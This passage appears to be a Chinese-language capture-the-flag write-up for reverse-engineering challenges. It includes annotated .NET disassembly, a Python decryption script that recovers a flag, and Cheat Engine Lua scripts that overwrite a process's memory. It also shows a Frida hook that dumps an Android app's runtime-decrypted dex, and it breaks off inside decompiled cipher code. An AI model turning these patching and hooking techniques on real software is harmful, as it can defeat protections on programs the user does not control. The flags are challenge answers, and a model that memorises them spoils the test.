3ce9: 45 33 f6 xor r14d, r14d
3cec: 85 ed test ebp, ebp
3cee: 7e 70 jle 0x3d60
3cf0: 83 fd 40 cmp ebp, 64
3cf3: 7f 30 jg 0x3d25
3cf5: 49 63 ce movsxd rcx, r14d
3cf8: 0f b6 44 0f 10 movzx eax, byte ptr [rdi + rcx + 16]
3cfd: 3a 44 0b 10 cmp al, byte ptr [rbx + rcx + 16]
3d01: 74 18 je 0x3d1b
3d03: 48 8b 0d 3e 88 01 00 mov rcx, qword ptr [0x1c548] // "Wrong!" (STRING_HANDLE) //内容检测
3d0a: 48 8b 09 mov rcx, qword ptr [rcx]
RCX is live
3d0d: ff 15 a5 84 01 00 call qword ptr [0x1c1b8] // void System.Console.WriteLine(string) (METHOD_ENTRY_REF_TOKEN)
RCX is dead
3d13: 33 c9 xor ecx, ecx
3d15: ff 15 c5 84 01 00 call qword ptr [0x1c1e0] // void System.Environment.Exit(int) (METHOD_ENTRY_REF_TOKEN)
3d1b: 41 ff c6 inc r14d
3d1e: 41 3b ee cmp ebp, r14d
3d21: 7f d2 jg 0x3cf5
RBX is dead
RDI is dead
3d23: eb 3b jmp 0x3d60
RBX is live
RDI is live
3d25: 49 63 ce movsxd rcx, r14d
3d28: 0f b6 4c 0f 10 movzx ecx, byte ptr [rdi + rcx + 16]
3d2d: 41 83 fe 40 cmp r14d, 64
3d31: 0f 83 4e 01 00 00 jae 0x3e85
3d37: 49 63 c6 movsxd rax, r14d
3d3a: 3a 4c 03 10 cmp cl, byte ptr [rbx + rax + 16]
3d3e: 74 18 je 0x3d58
3d40: 48 8b 0d 01 88 01 00 mov rcx, qword ptr [0x1c548] // "Wrong!" (STRING_HANDLE)
3d47: 48 8b 09 mov rcx, qword ptr [rcx]
RCX is live
3d4a: ff 15 68 84 01 00 call qword ptr [0x1c1b8] // void System.Console.WriteLine(string) (METHOD_ENTRY_REF_TOKEN)
RCX is dead
3d50: 33 c9 xor ecx, ecx
3d52: ff 15 88 84 01 00 call qword ptr [0x1c1e0] // void System.Environment.Exit(int) (METHOD_ENTRY_REF_TOKEN)
3d58: 41 ff c6 inc r14d
3d5b: 41 3b ee cmp ebp, r14d
3d5e: 7f c5 jg 0x3d25
RDI is dead
RBX is dead
3d60: 48 8b 0d e9 87 01 00 mov rcx, qword ptr [0x1c550] // "Right!" (STRING_HANDLE) //检测相等
3d67: 48 8b 09 mov rcx, qword ptr [rcx]
RCX is live
3d6a: ff 15 48 84 01 00 call qword ptr [0x1c1b8] // void System.Console.WriteLine(string) (METHOD_ENTRY_REF_TOKEN)
RCX is dead
3d70: 33 c9 xor ecx, ecx
3d72: ff 15 68 84 01 00 call qword ptr [0x1c1e0] // void System.Environment.Exit(int) (METHOD_ENTRY_REF_TOKEN)
3d78: 48 8b 15 d9 87 01 00 mov rdx, qword ptr [0x1c558] // "flag{i_am_the_true_flag}" (STRING_HANDLE) //以下均为假逻辑
3d7f: 48 8b 12 mov rdx, qword ptr [rdx]
RDX is live
3d82: 48 8b ce mov rcx, rsi
RCX is live
3d85: ff 15 5d 84 01 00 call qword ptr [0x1c1e8] // bool System.String.op_Equality(string, string) (METHOD_ENTRY_REF_TOKEN)
RCX is dead
RDX is dead
3d8b: 84 c0 test al, al
3d8d: 74 12 je 0x3da1
3d8f: 48 8b 0d ba 87 01 00 mov rcx, qword ptr [0x1c550] // "Right!" (STRING_HANDLE)
3d96: 48 8b 09 mov rcx, qword ptr [rcx]
RCX is live
3d99: ff 15 19 84 01 00 call qword ptr [0x1c1b8] // void System.Console.WriteLine(string) (METHOD_ENTRY_REF_TOKEN)
RCX is dead
3d9f: eb 10 jmp 0x3db1
3da1: 48 8b 0d a0 87 01 00 mov rcx, qword ptr [0x1c548] // "Wrong!" (STRING_HANDLE)
3da8: 48 8b 09 mov rcx, qword ptr [rcx]
RCX is live
3dab: ff 15 07 84 01 00 call qword ptr [0x1c1b8] // void System.Console.WriteLine(string) (METHOD_ENTRY_REF_TOKEN)
RCX is dead
3db1: b9 03 00 00 00 mov ecx, 3
3db6: ff 15 ac 83 01 00 call qword ptr [0x1c168] // byte[] (NEW_ARRAY)
RAX is live
3dbc: 48 8d 0d ed f8 ff ff lea rcx, [0x36b0]
3dc3: 66 8b 11 mov dx, word ptr [rcx]
3dc6: 66 89 50 10 mov word ptr [rax + 16], dx
3dca: 8a 51 02 mov dl, byte ptr [rcx + 2]
3dcd: 88 50 12 mov byte ptr [rax + 18], dl
3dd0: 48 8b ce mov rcx, rsi
RCX is live
3dd3: 48 8b d0 mov rdx, rax
RDX is live
3dd6: ff 15 ac 84 01 00 call qword ptr [0x1c288] // byte[] where.rc4.ToRC4(string, byte[]) (METHOD_ENTRY_DEF_TOKEN)
RDX is dead
RSI is dead
RCX is dead
3ddc: 48 8b f0 mov rsi, rax
RSI is live
3ddf: b9 40 00 00 00 mov ecx, 64
3de4: ff 15 7e 83 01 00 call qword ptr [0x1c168] // byte[] (NEW_ARRAY)
3dea: 48 8b f8 mov rdi, rax
RDI is live
3ded: 48 8d 0d cc f9 ff ff lea rcx, [0x37c0]
3df4: 0f 10 01 movups xmm0, xmmword ptr [rcx]
3df7: 0f 11 47 10 movups xmmword ptr [rdi + 16], xmm0
3dfb: 0f 10 41 10 movups xmm0, xmmword ptr [rcx + 16]
3dff: 0f 11 47 20 movups xmmword ptr [rdi + 32], xmm0
3e03: 0f 10 41 20 movups xmm0, xmmword ptr [rcx + 32]
3e07: 0f 11 47 30 movups xmmword ptr [rdi + 48], xmm0
3e0b: 0f 10 41 30 movups xmm0, xmmword ptr [rcx + 48]
3e0f: 0f 11 47 40 movups xmmword ptr [rdi + 64], xmm0
3e13: 48 8b ce mov rcx, rsi
RCX is live
3e16: 48 8b d7 mov rdx, rdi
RDX is live
3e19: ff 15 39 84 01 00 call qword ptr [0x1c258] // bool where.QZoPKLYRExWdGJMn.check1(byte[], byte[]) (METHOD_ENTRY_DEF_TOKEN)
RCX is dead
RDX is dead
RAX is dead
3e1f: 84 c0 test al, al
3e21: 74 32 je 0x3e55
3e23: 48 8b ce mov rcx, rsi
RCX is live
3e26: 48 8b d7 mov rdx, rdi
RDX is live
3e29: ff 15 39 84 01 00 call qword ptr [0x1c268] // bool where.TYuNpWqDZfXoRJvB.check2(byte[], byte[]) (METHOD_ENTRY_DEF_TOKEN)
RCX is dead
RDX is dead
3e2f: 84 c0 test al, al
3e31: 74 22 je 0x3e55
3e33: 48 8b ce mov rcx, rsi
RCX is live
3e36: 48 8b d7 mov rdx, rdi
RDX is live
3e39: ff 15 31 84 01 00 call qword ptr [0x1c270] // bool where.rc4.check3(byte[], byte[]) (METHOD_ENTRY_DEF_TOKEN)
RDX is dead
RSI is dead
RCX is dead
RDI is dead
3e3f: 84 c0 test al, al
3e41: 74 12 je 0x3e55
3e43: 48 8b 0d 06 87 01 00 mov rcx, qword ptr [0x1c550] // "Right!" (STRING_HANDLE)
3e4a: 48 8b 09 mov rcx, qword ptr [rcx]
RCX is live
3e4d: ff 15 65 83 01 00 call qword ptr [0x1c1b8] // void System.Console.WriteLine(string) (METHOD_ENTRY_REF_TOKEN)
RCX is dead
3e53: eb 10 jmp 0x3e65
3e55: 48 8b 0d ec 86 01 00 mov rcx, qword ptr [0x1c548] // "Wrong!" (STRING_HANDLE)
3e5c: 48 8b 09 mov rcx, qword ptr [rcx]
RCX is live
3e5f: ff 15 53 83 01 00 call qword ptr [0x1c1b8] // void System.Console.WriteLine(string) (METHOD_ENTRY_REF_TOKEN)
RCX is dead
3e65: 48 8b 0d f4 86 01 00 mov rcx, qword ptr [0x1c560] // "Do you believe me?" (STRING_HANDLE)
3e6c: 48 8b 09 mov rcx, qword ptr [rcx]
RCX is live
3e6f: ff 15 43 83 01 00 call qword ptr [0x1c1b8] // void System.Console.WriteLine(string) (METHOD_ENTRY_REF_TOKEN)
RCX is dead
3e75: 90 nop
3e76: 48 83 c4 20 add rsp, 32
3e7a: 5b pop rbx
3e7b: 5d pop rbp
3e7c: 5e pop rsi
3e7d: 5f pop rdi
3e7e: 41 5c pop r12
3e80: 41 5e pop r14
3e82: 41 5f pop r15
3e84: c3 ret
3e85: ff 15 45 82 01 00 call qword ptr [0x1c0d0] // RNG_CHK_FAIL (HELPER)
3e8b: cc int3

发现一共有四层加密,DES_CBC、两个异或和一个AES_CBC,编写解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Cipher import AES, DES

def aes_cbc_decrypt(plaintext):
key = b"A1B2C3D4E5F6G7H8"
iv = b"H8G7F6E5D4C3B2A1"
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = bytearray(cipher.decrypt(plaintext))
return ciphertext

def des_cbc_decrypt(plaintext):
key = b"Z1Y2X3W4"
iv = b"W4X3Y2Z1"
cipher = DES.new(key, DES.MODE_CBC, iv)
ciphertext = bytearray(cipher.decrypt(plaintext))
return ciphertext

encflag = bytearray([0x96, 0x57, 0x55, 0x7f, 0x25, 0xb0, 0x7d, 0xf9, 0xe7, 0x4f, 0x89, 0x91, 0x00, 0x9b, 0x71, 0xdf,
0x03, 0x42, 0x99, 0xe7, 0x99, 0xee, 0x00, 0xed, 0x82, 0xdf, 0xad, 0x55, 0xb8, 0xf0, 0x75, 0xa2,
0xa7, 0x48, 0x2a, 0xa5, 0xef, 0xc5, 0x58, 0x3d, 0xfe, 0x46, 0xb2, 0x79, 0xbe, 0x00, 0x32, 0x7c,
0x70, 0xce, 0x83, 0x50, 0x9b, 0xed, 0xa6, 0x74, 0x4d, 0x26, 0x03, 0x34, 0x1d, 0x90, 0x87, 0x85])

key = b'r2r'

encflag = aes_cbc_decrypt(encflag)

for i in range(len(encflag)):
encflag[i] ^= key[i%3]

for i in range(len(encflag)):
encflag[i] ^= i+1

encflag = des_cbc_decrypt(encflag)
print(encflag)

得到flag:flag{1_@m_th3_$3cr3t_h1dd3n_1n_th3_d3p7h}.

Loading flag…:

发现是一个走得极慢的进度条,按下按钮也不可能合理时间内出结果,ida动态调试找到关键函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
__m128i *__fastcall sub_7FF7FA0F86A0(__int64 a1)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

v99 = -2i64;
if ( *(_QWORD *)(a1 + 16) )
{
v77.m128i_i64[0] = a1;
v77.m128i_i64[1] = (__int64)sub_7FF7FA01F600;
v82.m128i_i64[0] = (__int64)&unk_7FF7FA7E6B40;
v82.m128i_i64[1] = 1i64;
v84.m256i_i64[0] = 0i64;
*(_QWORD *)&v83 = &v77;
*((_QWORD *)&v83 + 1) = 1i64;
sub_7FF7FA004110(&v88.m256i_u64[3], &v82);
v64 = 6i64;
v65 = v88;
v66 = v89;
}
else
{
v64 = 6i64;
v65.m256i_i64[3] = 0x8000000000000000ui64;
*(_QWORD *)&v66 = "Loading flag...Progress: "; //窗口显示
*((_QWORD *)&v66 + 1) = 15i64;
}
v67 = xmmword_7FF7FA71D190;
v68 = 2;
v69 = 2;
v70 = 0;
v71 = 0;
v72 = 0;
v2 = fmaxf(0.0, *(float *)(a1 + 40)); //当前进度,这里可以patch修改值(a1+40的偏移量)
*((_QWORD *)&v75 + 1) = 0x42C8000000000000i64;
LOBYTE(v76) = 0;
HIDWORD(v76) = fminf(100.0, v2); //限制在100以内
v74.m128i_i16[4] = 0;
LOWORD(v75) = 4;
v73.m128i_i64[0] = 0i64;
v77.m128i_i64[0] = a1 + 40;
v77.m128i_i64[1] = (__int64)sub_7FF7FA030BB0;
v82.m128i_i64[0] = 0i64;
v82.m128i_i64[1] = 31i64;
*(_QWORD *)&v83 = 2i64;
v84.m256i_i64[0] = 0i64;
v84.m256i_i64[1] = 32i64;
v84.m256i_i8[16] = 3;
v88.m256i_i64[0] = (__int64)&off_7FF7FA745008;
v88.m256i_i64[1] = 2i64;
*(_QWORD *)&v89 = &v82;
*((_QWORD *)&v89 + 1) = 1i64;
v88.m256i_i64[2] = (__int64)&v77;
v88.m256i_i64[3] = 1i64;
v95 = 1;
v94 = 1;
sub_7FF7FA004110(v59, &v88);
*((_QWORD *)&v83 + 1) = v59[0];
v48 = 6i64;
v49 = v82;
v50 = v83;
v51 = v59[1];
v52 = v59[2];
si128 = _mm_load_si128((const __m128i *)&xmmword_7FF7FA71D1B0);
v54 = 2;
v55 = 2;
v56 = 0;
v57 = 0;
v58 = 0;
v84.m256i_i64[0] = 0x8000000000000000ui64;
v84.m256i_i64[1] = (__int64)"Speed Up!"; //按钮文本
v84.m256i_i64[2] = 9i64;
v84.m256i_i32[6] = 0;
v85.m128i_i64[0] = 0x3FA6666600000000i64;
v85.m128i_i16[4] = 2;
v86.m128i_i16[0] = 2;
v87.m128i_i8[14] = 0;
v82.m128i_i64[0] = 6i64;
v87.m128i_i16[6] = 0;
v86.m128i_i32[2] = 0;
v3 = sub_7FF7FA28BF90(0i64, 112i64);
v93 = v3 == 0;
if ( !v3 )
sub_7FF7FA6FC240(8i64, 112i64);
*(__m128i *)(v3 + 64) = v85;
*(__m128i *)(v3 + 80) = v86;
*(__m128i *)(v3 + 96) = v87;
v4 = v82;
v5 = _mm_loadu_si128((const __m128i *)&v83);
v6 = *(_OWORD *)v84.m256i_i8;
*(_OWORD *)(v3 + 48) = *(_OWORD *)&v84.m256i_u64[2];
*(_OWORD *)(v3 + 32) = v6;
*(__m128i *)(v3 + 16) = v5;
*(__m128i *)v3 = v4;
v7 = *(_WORD *)(v3 + 72) >= 2u;
v8 = *(_WORD *)(v3 + 80) >= 2u;
*(_QWORD *)&v60 = 0i64;
WORD4(v61) = 2 * v7;
LOWORD(v62) = 2 * v8;
*((_QWORD *)&v62 + 1) = v3;
v63.m256i_i64[0] = (__int64)&off_7FF7FA744E30;
*(_OWORD *)&v63.m256i_u64[1] = xmmword_7FF7FA71D1C0;
v63.m256i_i64[3] = 0i64;
*(_OWORD *)&v88.m256i_u16[3] = 0i64;
v82.m128i_i64[0] = 0i64;
v82.m128i_i64[1] = 8i64;
*(_QWORD *)&v83 = 0i64;
WORD4(v83) = 2;
v84.m256i_i16[0] = 2;
*(_OWORD *)&v84.m256i_i16[1] = *(_OWORD *)v88.m256i_i8;
v84.m256i_i64[2] = 0i64;
v84.m256i_i64[3] = 0x7F80000041200000i64;
v85.m128i_i16[0] = 0;
v98 = 1;
v97 = 1;
v96 = 1;
sub_7FF7FA0EBB40(&v88, &v82, &v64);
v9 = sub_7FF7FA28BF90(0i64, 56i64);
if ( !v9 )
sub_7FF7FA6FC240(8i64, 56i64);
v10 = _mm_loadu_si128(&v73);
v11 = v75;
*(__m128i *)(v9 + 16) = _mm_loadu_si128(&v74);
*(_OWORD *)(v9 + 32) = v11;
*(_QWORD *)(v9 + 48) = v76;
*(__m128i *)v9 = v10;
v12 = *(_QWORD *)(v9 + 24);
v13 = *(unsigned __int16 *)(v9 + 32);
v14 = *(unsigned __int16 *)(v9 + 38);
v92 = v9;
v15 = v13 | ((unsigned __int64)*(unsigned int *)(v9 + 34) << 16) | (v14 << 48);
v16 = 0x41F0000000000003i64;
if ( v13 != 4 )
v16 = v15;
v17 = v12 >> 16;
if ( (unsigned __int16)v12 >= 2u || v88.m256i_i16[12] != 2 )
{
v17 = *(unsigned int *)((char *)&v88.m256i_u32[6] + 2) | ((unsigned __int64)v88.m256i_u16[15] << 32);
LOWORD(v12) = v88.m256i_i16[12];
}
v88.m256i_i8[24] = v12;
v88.m256i_i8[25] = BYTE1(v12);
v88.m256i_i8[26] = v17;
v88.m256i_i8[27] = BYTE1(v17);
v88.m256i_i8[28] = BYTE2(v17);
v88.m256i_i8[29] = BYTE3(v17);
v88.m256i_i8[30] = BYTE4(v17);
v88.m256i_i8[31] = BYTE5(v17);
v18 = v16 >> 16;
if ( (unsigned __int16)v16 >= 2u || (_WORD)v89 != 2 )
{
v18 = *(unsigned int *)((char *)&v89 + 2) | ((unsigned __int64)WORD3(v89) << 32);
LOWORD(v16) = v89;
}
*(_QWORD *)&v89 = (unsigned __int16)v16 | (v18 << 16);
v19 = v88.m256i_i64[2];
if ( v88.m256i_i64[2] == v88.m256i_i64[0] )
sub_7FF7FA32FCC0(&v88, &off_7FF7FA746D50);
v20 = v88.m256i_i64[1];
v21 = 16 * v19;
*(_QWORD *)(v88.m256i_i64[1] + v21) = v92;
*(_QWORD *)(v20 + v21 + 8) = &off_7FF7FA7448C8;
v22 = v19 + 1;
v88.m256i_i64[2] = v22;
v23 = _mm_loadu_si128(&v90);
v82 = _mm_loadu_si128((const __m128i *)&v88);
*(_OWORD *)v84.m256i_i8 = v89;
*(__m128i *)&v84.m256i_u64[2] = v23;
v85.m128i_i64[0] = v91;
v83 = __PAIR128__(v88.m256i_u64[3], v22);
v98 = 1;
v97 = 0;
v96 = 0;
sub_7FF7FA0EBB40(&v88, &v82, &v48);
v24 = sub_7FF7FA28BF90(0i64, 80i64);
if ( !v24 )
sub_7FF7FA6FC240(8i64, 80i64);
v25 = v60;
v26 = v61;
v27 = *(_OWORD *)v63.m256i_i8;
*(_OWORD *)(v24 + 32) = v62;
*(_OWORD *)(v24 + 16) = v26;
*(_OWORD *)(v24 + 64) = *(_OWORD *)&v63.m256i_u64[2];
*(_OWORD *)(v24 + 48) = v27;
*(_OWORD *)v24 = v25;
v92 = v24;
v28 = _mm_loadu_si128((const __m128i *)(v24 + 24));
v29 = v88.m256i_i16[12];
v30 = (unsigned __int64)v28.m128i_i64[0] >> 16;
v31 = _mm_cvtsi128_si32(v28);
if ( (unsigned __int16)v31 < 2u && v88.m256i_i16[12] == 2 )
v29 = v31;
else
v30 = *(unsigned int *)((char *)&v88.m256i_u32[6] + 2) | ((unsigned __int64)v88.m256i_u16[15] << 32);
v88.m256i_i16[12] = v29;
v88.m256i_i8[26] = v30;
v88.m256i_i8[27] = BYTE1(v30);
v88.m256i_i8[28] = BYTE2(v30);
v88.m256i_i8[29] = BYTE3(v30);
v88.m256i_i8[30] = BYTE4(v30);
v88.m256i_i8[31] = BYTE5(v30);
v32 = v89;
epi16 = _mm_extract_epi16(v28, 4);
v34 = _mm_srli_si128(v28, 10).m128i_u64[0];
if ( epi16 < 2u && (_WORD)v89 == 2 )
v32 = epi16;
else
v34 = *(unsigned int *)((char *)&v89 + 2) | ((unsigned __int64)WORD3(v89) << 32);
*(_QWORD *)&v89 = v32 | (v34 << 16);
v35 = v88.m256i_i64[2];
if ( v88.m256i_i64[2] == v88.m256i_i64[0] )
sub_7FF7FA32FCC0(&v88, &off_7FF7FA746D50);
v36 = v88.m256i_i64[1];
v37 = 16 * v35;
*(_QWORD *)(v88.m256i_i64[1] + v37) = v92;
*(_QWORD *)(v36 + v37 + 8) = &off_7FF7FA744940;
v38 = v35 + 1;
v88.m256i_i64[2] = v38;
v39 = _mm_loadu_si128(&v90);
v77 = _mm_loadu_si128((const __m128i *)&v88);
v79 = v89;
v80 = v39;
v81 = v91;
v78 = __PAIR128__(v88.m256i_u64[3], v38);
v40 = sub_7FF7FA28BF90(0i64, 72i64);
if ( !v40 )
sub_7FF7FA6FC240(8i64, 72i64);
*(_QWORD *)(v40 + 64) = v81;
v41 = v77;
v42 = _mm_load_si128((const __m128i *)&v78);
v43 = v79;
*(__m128i *)(v40 + 48) = v80;
*(_OWORD *)(v40 + 32) = v43;
*(__m128i *)(v40 + 16) = v42;
*(__m128i *)v40 = v41;
v82.m128i_i64[0] = 0i64;
*((_QWORD *)&v83 + 1) = 0x8000000000000002ui64;
*(_OWORD *)&v84.m256i_u64[2] = 0i64;
v85.m128i_i64[0] = v40;
v85.m128i_i64[1] = (__int64)&off_7FF7FA744A38;
v86 = (__m128i)xmmword_7FF7FA71D1E0;
v87.m128i_i64[0] = 0x7F8000007F800000i64;
v87.m128i_i16[4] = 256;
v87.m128i_i8[10] = 1;
result = (__m128i *)sub_7FF7FA28BF90(0i64, 112i64);
if ( !result )
sub_7FF7FA6FC240(8i64, 112i64);
result[6] = v87;
result[5] = v86;
result[4] = v85;
v45 = v82;
v46 = (__m128i)v83;
v47 = *(__m128i *)v84.m256i_i8;
result[3] = *(__m128i *)&v84.m256i_u64[2];
result[2] = v47;
result[1] = v46;
*result = v45;
return result;
}

尝试修改v2为0xFFFFFFFF之后得到了flag的第一个字符f,但后续要求的进度越来越多,使用cheat engine进行内存操作,由于这里的地址是固定的,直接锁定地址进行修改,编写cheat engine的lua脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
local targetAddress = 0x256297C04C8
local desiredValue = 0xFFFFFFFF
local checkInterval = 50
function AutoLock()
while true do
local currentValue = readInteger(targetAddress)
if currentValue ~= desiredValue then
writeInteger(targetAddress, desiredValue)
end
sleep(checkInterval)
end
end
createThread(AutoLock)

发现进度条确实在走了,但是程序耍赖的是其第n个字符解锁需要走完n**3个进度条,而进度条的判别只有1秒钟一次,动态观察内存发现其上游8个字节有一个int指向进度条的完成个数,直接修改这个字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
local targetAddresses = {
{ addr = 0x256297C04C0, value = 0xFFFFFFFF},
{ addr = 0x256297C04C8, value = 0xFFFFFFFF }
}
function MultiModify()
for i, entry in ipairs(targetAddresses) do
local current = readInteger(entry.addr)
if current ~= entry.value then
writeInteger(entry.addr, entry.value)
print(string.format("[地址 0x%X] 修改完成: 0x%X -> 0x%X",
entry.addr, current, entry.value))
else
print(string.format("[地址 0x%X] 无需修改,当前值正确", entry.addr))
end
end
end
-- 同步执行方式(立即执行)
function SyncExecution()
MultiModify()
end
-- 异步线程方式(后台执行)
createThread(MultiModify)
-- 也可以直接调用同步版本
-- SyncExecution()

多次执行脚本得到完整的flag:flag{b51c3a51a0f278a60b7d966cf8eb236e}.

ezMobile:

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package ctf.myapplication;
import android.os.Build;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import ctf.myapplication.databinding.ActivityMainBinding;
import dalvik.system.InMemoryDexClassLoader;
import dalvik.system.PathClassLoader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
private ActivityMainBinding binding;
public native byte[] change(byte[] bArr);
public native String stringFromJNI();
static {
System.loadLibrary("myapplication");
}
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());
this.binding = inflate;
setContentView(inflate.getRoot());
byte[] dBytes = LoadData("TMP");
byte[] dBytes2 = change(dBytes);
InMemoryDexClassLoader dexClassLoader = null;
if (Build.VERSION.SDK_INT >= 29) {
ByteBuffer[] byteBuffers = {ByteBuffer.wrap(dBytes2)};
String str = getApplicationInfo().nativeLibraryDir;
String library = ((PathClassLoader) getClassLoader()).findLibrary("myapplication");
dexClassLoader = new InMemoryDexClassLoader(byteBuffers, new File(library).getParent(), getClassLoader().getParent());
}
try {
final Class flagCheckerClass = dexClassLoader.loadClass("com.example.myapplication.FlagChecker");
final Method method = flagCheckerClass.getMethod("check", String.class);
Button button = (Button) findViewById(R.id.button);
button.setOnClickListener(new View.OnClickListener() { // from class: ctf.myapplication.MainActivity$$ExternalSyntheticLambda0
@Override // android.view.View.OnClickListener
public final void onClick(View view) {
MainActivity.this.m92lambda$onCreate$0$ctfmyapplicationMainActivity(method, flagCheckerClass, view);
}
});
} catch (ClassNotFoundException | NoSuchMethodException e) {
throw new RuntimeException(e);
}
}
/* JADX INFO: Access modifiers changed from: package-private */
/* renamed from: lambda$onCreate$0$ctf-myapplication-MainActivity, reason: not valid java name */
public /* synthetic */ void m92lambda$onCreate$0$ctfmyapplicationMainActivity(Method finalMethod, Class finalFlagCheckerClass, View v) {
TextView textView = (TextView) findViewById(R.id.editTextText);
String flag = textView.getText().toString();
try {
Boolean res = (Boolean) finalMethod.invoke(finalFlagCheckerClass.newInstance(), flag);
if (res == null || !res.booleanValue()) {
Toast.makeText(this, "No", 1).show();
} else {
Toast.makeText(this, "Yes", 1).show();
}
} catch (IllegalAccessException | InstantiationException | InvocationTargetException e) {
throw new RuntimeException(e);
}
}
public byte[] LoadData(String inFile) {
byte[] buffer = null;
try {
InputStream stream = getAssets().open(inFile);
int size = stream.available();
buffer = new byte[size];
stream.read(buffer);
stream.close();
return buffer;
} catch (IOException e) {
return buffer;
}
}
}

发现有一个TMP文件在运行过程中被解密,并作为dex读取,用frida动态转储:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import frida
import sys
import os

def on_message(message, data):
if message['type'] == 'send':
payload = message['payload']
if payload.get('type') == 'dex_content':
# 将十六进制字符串数组转换为实际的字节数组
hex_array = payload.get('content')
dex_content = bytes.fromhex(''.join(hex_array))
output_path = "E:/CTF/output.dex"
with open(output_path, 'wb') as f:
f.write(dex_content)
print(f"Dex dumped to {os.path.abspath(output_path)}")

# JavaScript注入代码
jscode = """
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Java.perform(function() {
console.log("Starting hook...");

// Hook MainActivity.change方法
var MainActivity = Java.use('ctf.myapplication.MainActivity');
MainActivity.change.overload('[B').implementation = function(bArr) {
console.log("MainActivity.change method called with byte array of length: " + bArr.length);

// 调用原始的change方法获取处理后的byte数组
var resultByteArray = this.change(bArr);
console.log("Processed byte array length: " + resultByteArray.length);

// 发送提取到的dex内容
send({type: "dex_content", content: bytesToHexArray(resultByteArray)});

return resultByteArray;
};

console.log("Hook setup complete.");

// 辅助函数:将byte数组转换为hex字符串数组
function bytesToHexArray(bytes) {
var hexArray = [];
for (var i = 0; i < bytes.length; i++) {
var hex = ('0' + (bytes[i] & 0xFF).toString(16)).slice(-2);
hexArray.push(hex);
}
return hexArray;
}
});
"""
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def main(target_process):
# 通过包名启动并附加到应用
device = frida.get_usb_device()
pid = device.spawn([target_process])
session = device.attach(pid)

script = session.create_script(jscode)
script.on('message', on_message)
print('[*] Attaching from the process.')
script.load()
# 继续应用的执行
device.resume(pid)
try:
sys.stdin.read()
except KeyboardInterrupt:
print("[*] Detaching from the process.")
session.detach()

if __name__ == "__main__":
if len(sys.argv) != 2:
process = frida.get_usb_device(-1).enumerate_processes()
print(process)
print("Usage: python dump_dex.py <package_name>")
sys.exit(1)
target_process = sys.argv[1]
main(target_process)

得到函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
package com.example.myapplication;
import java.io.UnsupportedEncodingException;
/* loaded from: E:\CTF\output.dex */
public final class FlagChecker {
static final /* synthetic */ boolean $assertionsDisabled = false;
private static final int DELTA = -1640531527;
public static native String getKey();
static {
System.loadLibrary("ctf");
}
private static int MX(int sum, int y, int z, int p, int e, int[] k) {
return (((z >>> 5) ^ (y << 2)) + ((y >>> 3) ^ (z << 4))) ^ ((sum ^ y) + (k[(p & 3) ^ e] ^ z));
}
public static final byte[] encrypt(byte[] data, byte[] key) {
if (data.length == 0) {
return data;
}
return toByteArray(encrypt(toIntArray(data, true), toIntArray(fixKey(key), $assertionsDisabled)), $assertionsDisabled);
}
public static final byte[] encrypt(String data, String key) {
try {
return encrypt(data.getBytes("UTF-8"), key.getBytes("UTF-8"));
} catch (UnsupportedEncodingException e) {
return null;
}
}
public static final String encryptToBase64String(String data, String key) {
byte[] bytes = encrypt(data, key);
if (bytes == null) {
return null;
}
return Base64.encode(bytes);
}
private static int[] encrypt(int[] v, int[] k) {
int n = v.length - 1;
if (n < 1) {
return v;
}
int e = (52 / (n + 1)) + 6;
int z = v[n];
int sum = 0;
while (true) {
